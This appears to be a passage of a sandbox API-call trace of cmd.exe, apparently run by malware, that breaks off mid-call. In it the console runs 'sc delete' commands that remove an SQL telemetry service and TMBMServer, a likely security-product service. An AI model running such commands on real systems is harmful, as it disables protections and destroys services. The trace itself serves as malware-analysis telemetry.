(_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.351] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.351] GetProcessHeap () returned 0x4a0000 [0071.351] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.351] GetProcessHeap () returned 0x4a0000 [0071.351] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.351] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLTELEMETRY$HL\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLTELEMETRY$HL\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"SQLTELEMETRY$HL\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xacc, dwThreadId=0xad0)) returned 1 [0071.355] CloseHandle (hObject=0x50) returned 1 [0071.355] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.355] GetProcessHeap () returned 0x4a0000 [0071.355] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0071.355] GetEnvironmentStringsW () returned 0x4c1b10* [0071.355] GetProcessHeap () returned 0x4a0000 [0071.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.355] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.355] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.355] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.356] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0071.406] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.406] CloseHandle (hObject=0x54) returned 1 [0071.406] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.406] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.406] GetProcessHeap () returned 0x4a0000 [0071.406] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.406] GetEnvironmentStringsW () returned 0x4c1b10* [0071.406] GetProcessHeap () returned 0x4a0000 [0071.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.406] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.406] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.406] GetProcessHeap () returned 0x4a0000 [0071.406] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.406] GetEnvironmentStringsW () returned 0x4c1b10* [0071.406] GetProcessHeap () returned 0x4a0000 [0071.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.406] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.407] GetProcessHeap () returned 0x4a0000 [0071.407] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.407] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.407] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.407] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.407] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.407] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.407] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.408] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.408] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.408] GetConsoleOutputCP () returned 0x1b5 [0071.408] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.408] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.408] GetProcessHeap () returned 0x4a0000 [0071.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0071.408] GetProcessHeap () returned 0x4a0000 [0071.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.408] GetProcessHeap () returned 0x4a0000 [0071.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.408] GetProcessHeap () returned 0x4a0000 [0071.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.408] GetProcessHeap () returned 0x4a0000 [0071.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.408] GetProcessHeap () returned 0x4a0000 [0071.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.409] GetProcessHeap () returned 0x4a0000 [0071.409] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0071.409] GetProcessHeap () returned 0x4a0000 [0071.409] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.409] GetProcessHeap () returned 0x4a0000 [0071.409] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.409] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.409] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.409] GetFileType (hFile=0x120) returned 0x3 [0071.409] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.409] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.409] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.409] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.409] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.409] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.409] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.409] GetFileType (hFile=0x120) returned 0x3 [0071.409] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.410] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.410] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.410] GetFileType (hFile=0xb8) returned 0x3 [0071.410] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.410] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.410] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.410] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.410] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.410] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.410] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.410] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.410] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.410] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.410] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.410] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.410] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.411] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.411] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.411] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.411] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.411] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.411] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.411] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.411] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.411] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.411] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.411] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.411] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.411] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.411] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.411] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.411] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.412] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.412] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.412] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.412] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="TSQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.412] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.412] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.412] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.412] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.412] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.412] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="BLTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.412] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.412] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.412] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="MTELEMETRY$HL\"\nvice\n\n") returned 1 [0071.413] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.413] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.413] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="SELEMETRY$HL\"\nvice\n\n") returned 1 [0071.413] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.413] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.413] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="eLEMETRY$HL\"\nvice\n\n") returned 1 [0071.413] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.413] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.413] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="rEMETRY$HL\"\nvice\n\n") returned 1 [0071.413] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.413] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.413] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="vMETRY$HL\"\nvice\n\n") returned 1 [0071.413] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.413] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.413] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="eETRY$HL\"\nvice\n\n") returned 1 [0071.414] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.414] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.414] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.414] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="rTRY$HL\"\nvice\n\n") returned 1 [0071.414] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.414] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.414] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.414] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="\nRY$HL\"\nvice\n\n") returned 1 [0071.414] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.414] GetFileType (hFile=0xb8) returned 0x3 [0071.414] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.414] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.414] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.414] GetFileType (hFile=0x120) returned 0x3 [0071.414] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMBMServer\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 